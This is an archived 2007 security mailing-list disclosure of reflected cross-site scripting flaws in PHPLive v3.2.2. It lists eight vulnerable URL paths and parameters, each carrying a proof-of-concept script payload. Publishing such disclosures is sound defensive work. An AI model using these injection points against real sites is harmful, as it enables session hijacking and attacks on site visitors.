|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
dr.rezen
gmail.com
Date: Fri Jun 01 2007 - 11:50:17 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
There are numerous XSS vulnerabilities in PHPLive v3.2.2 (Maybe others)
/phplive/chat.php?sid=<script>alert(123);</script>
/phplive/help.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script>
/phplive/help.php?PHPLIVE_VERSION=<script>alert(123);</script>
/phplive/admin/header.php?admin[name]=<script>alert(123);</script>
/phplive/super/info.php?BASE_URL=<script>alert(123);</script>
And if serveradmin left default setup install files:
/phplive/setup/footer.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script>
/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script>
/phplive/setup/footer.php?nav_line=<script>alert(123);</script>
Bug found by ReZEN! XORCREW! H4X H4X!
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]